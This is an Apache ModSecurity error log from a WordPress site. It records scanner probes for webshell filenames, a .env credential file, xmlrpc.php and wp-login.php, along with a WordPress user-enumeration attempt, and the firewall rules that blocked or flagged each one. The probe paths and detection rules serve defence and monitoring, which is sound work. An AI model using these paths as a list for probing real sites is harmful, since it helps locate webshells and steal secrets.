[Sat Feb 28 01:54:28.387549 2026] [:error] [pid 15240:tid 15255] [client 147.135.128.94:56616] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "aaHaVC1iKL_41Rk9A9OK8AAAAA0"]
[Sat Feb 28 01:54:30.903534 2026] [:error] [pid 38620:tid 38635] [client 147.135.128.94:56634] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "aaHaVgP6I7SRqrhh7RospQAAAU0"]
[Sat Feb 28 01:54:33.389019 2026] [:error] [pid 38620:tid 38627] [client 147.135.128.94:56644] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spx%20slot.aspx"] [unique_id "aaHaWQP6I7SRqrhh7RosugAAAUU"]
[Sat Feb 28 01:54:35.887679 2026] [:error] [pid 38586:tid 38608] [client 147.135.128.94:56662] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "aaHaW7_i6nvKNhjFW7VeyAAAARM"]
[Sat Feb 28 01:54:38.358302 2026] [:error] [pid 15099:tid 15136] [client 147.135.128.94:47134] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20slot.aspx"] [unique_id "aaHaXunvP2vtPjYDq_g_-wAAAMM"]
[Sat Feb 28 01:54:40.703794 2026] [:error] [pid 38586:tid 38600] [client 147.135.128.94:47140] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "aaHaYL_i6nvKNhjFW7Ve2AAAAQs"]
[Sat Feb 28 01:55:06.993584 2026] [:error] [pid 38620:tid 38644] [client 147.135.128.94:47158] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "aaHaegP6I7SRqrhh7RotdQAAAVY"]
[Sat Feb 28 01:55:09.419933 2026] [:error] [pid 15098:tid 15111] [client 147.135.128.94:46636] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "aaHafckFqny8dQQbmTktqAAAAIU"]
[Sat Feb 28 02:06:11.645365 2026] [:error] [pid 38620:tid 38643] [client 91.226.10.36:39018] [client 91.226.10.36] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.226.10.36, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaHdEwP6I7SRqrhh7Ro4WQAAAVU"]
[Sat Feb 28 02:14:51.175219 2026] [:error] [pid 15098:tid 15119] [client 35.226.125.165:51996] [client 35.226.125.165] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 35.226.125.165, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaHfG8kFqny8dQQbmTkyVAAAAI0"]
[Sat Feb 28 02:27:55.676141 2026] [:error] [pid 15099:tid 15156] [client 153.92.11.95:54358] [client 153.92.11.95] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env"] [unique_id "aaHiK-nvP2vtPjYDq_hKQAAAANc"]
[Sat Feb 28 02:52:27.326428 2026] [:error] [pid 15099:tid 15143] [client 147.135.95.225:37468] [client 147.135.95.225] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 147.135.95.225, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaHn6-nvP2vtPjYDq_hQzAAAAMo"]
[Sat Feb 28 03:42:11.299546 2026] [:error] [pid 34489:tid 34568] [client 43.133.91.48:40638] [client 43.133.91.48] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aaHzk2zhQsTfEZWyYbzK4wAAAAE"]
[Sat Feb 28 03:50:38.145519 2026] [:error] [pid 8263:tid 8335] [client 20.220.8.221:42450] [client 20.220.8.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/server.php"] [unique_id "aaH1jvy129qEf4EbCsiOvgAAAIk"]
[Sat Feb 28 03:50:38.988716 2026] [:error] [pid 8356:tid 8375] [client 20.220.8.221:42574] [client 20.220.8.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/server.php"] [unique_id "aaH1jkOZwaFLhMxGseFzNQAAANA"]
[Sat Feb 28 03:50:39.818441 2026] [:error] [pid 8263:tid 8330] [client 20.220.8.221:42619] [client 20.220.8.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/server.php"] [unique_id "aaH1j_y129qEf4EbCsiOzgAAAIQ"]
[Sat Feb 28 03:50:40.660554 2026] [:error] [pid 8356:tid 8379] [client 20.220.8.221:42573] [client 20.220.8.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/server.php"] [unique_id "aaH1kEOZwaFLhMxGseFzNwAAANQ"]
[Sat Feb 28 04:09:20.243243 2026] [:error] [pid 39183:tid 39205] [client 54.36.68.145:50990] [client 54.36.68.145] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 54.36.68.145, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaH58BCf4HvhVePw3LY99gAAAA0"]
[Sat Feb 28 04:10:28.945672 2026] [:error] [pid 39292:tid 39303] [client 52.178.68.120:35518] [client 52.178.68.120] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 52.178.68.120, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaH6NKIAO5fN7BxyqcHf1wAAAMk"]
[Sat Feb 28 04:55:38.380529 2026] [:error] [pid 11791:tid 11797] [client 20.220.196.236:18426] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aaIEymuX5e1Q32gqxH1xZgAAAQQ"]
[Sat Feb 28 04:55:39.803885 2026] [:error] [pid 39183:tid 39214] [client 20.220.196.236:18394] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aaIEyxCf4HvhVePw3LZSbwAAABY"]
[Sat Feb 28 04:55:41.226207 2026] [:error] [pid 11791:tid 11803] [client 20.220.196.236:18417] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aaIEzWuX5e1Q32gqxH1xcAAAAQo"]
[Sat Feb 28 04:55:42.649231 2026] [:error] [pid 11791:tid 11796] [client 20.220.196.236:18383] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aaIEzmuX5e1Q32gqxH1xdwAAAQM"]
[Sat Feb 28 05:10:06.294779 2026] [:error] [pid 39184:tid 39231] [client 138.124.187.135:59880] [client 138.124.187.135] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 138.124.187.135, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaIILltZF9Zd_U7easAgbwAAAEw"]
[Sat Feb 28 05:34:12.852954 2026] [:error] [pid 11791:tid 11804] [client 216.73.216.96:14659] [client 216.73.216.96] ModSecurity: Warning. Pattern match "^$" at REQUEST_HEADERS:user-agent. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "120"] [id "217240"] [rev "3"] [msg "COMODO WAF: Empty User Agent Header||vetstars.com.au|F|5"] [data "REQUEST_HEADERS:user-agent="] [severity "NOTICE"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/robots.txt"] [unique_id "aaIN1GuX5e1Q32gqxH2LuQAAAQs"]
[Sat Feb 28 05:34:42.673287 2026] [:error] [pid 22194:tid 22198] [client 172.237.101.239:36156] [client 172.237.101.239] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 172.237.101.239, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaIN8n6mbajs3bzQGyvYkQAAAUI"]
[Sat Feb 28 05:36:00.171143 2026] [:error] [pid 11791:tid 11815] [client 119.96.24.54:59866] [client 119.96.24.54] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aaIOQGuX5e1Q32gqxH2M4gAAARY"]
[Sat Feb 28 05:43:46.498664 2026] [:error] [pid 22194:tid 22204] [client 146.190.160.27:59375] [client 146.190.160.27] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 146.190.160.27, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aaIQEn6mbajs3bzQGyvfeQAAAUg"]
[Sat Feb 28 05:43:50.083944 2026] [:error] [pid 22194:tid 22206] [client 146.190.160.27:59375] [client 146.190.160.27] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aaIQFn6mbajs3bzQGyvffgAAAUo"]
[Sat Feb 28 05:43:53.055944 2026] [:error] [pid 22194:tid 22207] [client 146.190.160.27:59375] [client 146.190.160.27] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 146.190.160.27, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aaIQGX6mbajs3bzQGyvfjgAAAUs"]
[Sat Feb 28 05:43:53.059983 2026] [:error] [pid 22194:tid 22207] [client 146.190.160.27:59375] [client 146.190.160.27] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at IP. [file "/usr/local/apache/modsecurity-cwaf/rules/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 146.190.160.27 (0+1 hits since last alert)|vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aaIQGX6mbajs3bzQGyvfjgAAAUs"]
[Sat Feb 28 05:51:53.780746 2026] [:error] [pid 22194:tid 22205] [client 23.239.25.95:51324] [client 23.239.25.95] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 23.239.25.95, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaIR-X6mbajs3bzQGyvl_wAAAUk"]
[Sat Feb 28 06:07:17.966164 2026] [:error] [pid 22194:tid 22219] [client 20.63.83.113:17950] [client 20.63.83.113] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 20.63.83.113, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaIVlX6mbajs3bzQGyvyUgAAAVc"]
[Sat Feb 28 06:07:28.444937 2026] [:error] [pid 39292:tid 39294] [client 20.63.83.113:56442] [client 20.63.83.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/byp.php"] [unique_id "aaIVoKIAO5fN7BxyqcFRegAAAMA"]
[Sat Feb 28 06:07:28.873636 2026] [:error] [pid 39292:tid 39305] [client 20.63.83.113:1658] [client 20.63.83.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/byp.php"] [unique_id "aaIVoKIAO5fN7BxyqcFRgAAAAMs"]
[Sat Feb 28 06:07:29.287200 2026] [:error] [pid 39292:tid 39315] [client 20.63.83.113:60724] [client 20.63.83.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/byp.php"] [unique_id "aaIVoaIAO5fN7BxyqcFRhAAAANU"]
[Sat Feb 28 06:07:29.696808 2026] [:error] [pid 39185:tid 39250] [client 20.63.83.113:33648] [client 20.63.83.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/byp.php"] [unique_id "aaIVoRVE-FfM89u7BQZGxQAAAIQ"]
[Sat Feb 28 06:07:30.113965 2026] [:error] [pid 39292:tid 39310] [client 20.63.83.113:1623] [client 20.63.83.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/packed.php"] [unique_id "aaIVoqIAO5fN7BxyqcFRjgAAANA"]
[Sat Feb 28 06:07:30.538054 2026] [:error] [pid 39292:tid 39305] [client 20.63.83.113:17928] [client 20.63.83.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/packed.php"] [unique_id "aaIVoqIAO5fN7BxyqcFRkgAAAMs"]
[Sat Feb 28 06:07:30.959099 2026] [:error] [pid 22194:tid 22220] [client 20.63.83.113:22596] [client 20.63.83.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/packed.php"] [unique_id "aaIVon6mbajs3bzQGyvybwAAAVg"]
[Sat Feb 28 06:07:31.370010 2026] [:error] [pid 22194:tid 22198] [client 20.63.83.113:17938] [client 20.63.83.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/packed.php"] [unique_id "aaIVo36mbajs3bzQGyvycAAAAUI"]
[Sat Feb 28 06:07:31.786975 2026] [:error] [pid 22194:tid 22211] [client 20.63.83.113:1609] [client 20.63.83.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/403.php"] [unique_id "aaIVo36mbajs3bzQGyvydQAAAU8"]
[Sat Feb 28 06:07:32.200505 2026] [:error] [pid 22194:tid 22217] [client 20.63.83.113:57036] [client 20.63.83.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/403.php"] [unique_id "aaIVpH6mbajs3bzQGyvyfAAAAVU"]
[Sat Feb 28 06:07:32.613847 2026] [:error] [pid 11791:tid 11796] [client 20.63.83.113:1618] [client 20.63.83.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/403.php"] [unique_id "aaIVpGuX5e1Q32gqxH2d-AAAAQM"]
[Sat Feb 28 06:07:33.037138 2026] [:error] [pid 39292:tid 39303] [client 20.63.83.113:1431] [client 20.63.83.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/403.php"] [unique_id "aaIVpaIAO5fN7BxyqcFRmgAAAMk"]
[Sat Feb 28 06:07:33.459480 2026] [:error] [pid 22194:tid 22196] [client 20.63.83.113:1446] [client 20.63.83.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ok.php"] [unique_id "aaIVpX6mbajs3bzQGyvyhAAAAUA"]
[Sat Feb 28 06:07:33.873721 2026] [:error] [pid 39184:tid 39239] [client 20.63.83.113:22619] [client 20.63.83.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ok.php"] [unique_id "aaIVpVtZF9Zd_U7easAzoAAAAFQ"]
[Sat Feb 28 06:07:34.283704 2026] [:error] [pid 39292:tid 39317] [client 20.63.83.113:1461] [client 20.63.83.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ok.php"] [unique_id "aaIVpqIAO5fN7BxyqcFRogAAANc"]
[Sat Feb 28 06:07:34.704401 2026] [:error] [pid 22194:tid 22208] [client 20.63.83.113:4141] [client 20.63.83.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ok.php"] [unique_id "aaIVpn6mbajs3bzQGyvyiQAAAUw"]
[Sat Feb 28 06:07:35.118080 2026] [:error] [pid 22194:tid 22209] [client 20.63.83.113:1435] [client 20.63.83.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/link.php"] [unique_id "aaIVp36mbajs3bzQGyvyjAAAAU0"]
[Sat Feb 28 06:07:35.544579 2026] [:error] [pid 22194:tid 22200] [client 20.63.83.113:22616] [client 20.63.83.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/link.php"] [unique_id "aaIVp36mbajs3bzQGyvykQAAAUQ"]
[Sat Feb 28 06:07:35.973885 2026] [:error] [pid 39185:tid 39258] [client 20.63.83.113:49658] [client 20.63.83.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/link.php"] [unique_id "aaIVpxVE-FfM89u7BQZG0wAAAIw"]
[Sat Feb 28 06:07:36.403478 2026] [:error] [pid 22194:tid 22207] [client 20.63.83.113:60683] [client 20.63.83.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/link.php"] [unique_id "aaIVqH6mbajs3bzQGyvylgAAAUs"]
[Sat Feb 28 06:07:36.825702 2026] [:error] [pid 39185:tid 39265] [client 20.63.83.113:35748] [client 20.63.83.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pass.php"] [unique_id "aaIVqBVE-FfM89u7BQZG1wAAAJM"]
[Sat Feb 28 06:07:37.235151 2026] [:error] [pid 22194:tid 22204] [client 20.63.83.113:35745] [client 20.63.83.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pass.php"] [unique_id "aaIVqX6mbajs3bzQGyvymAAAAUg"]
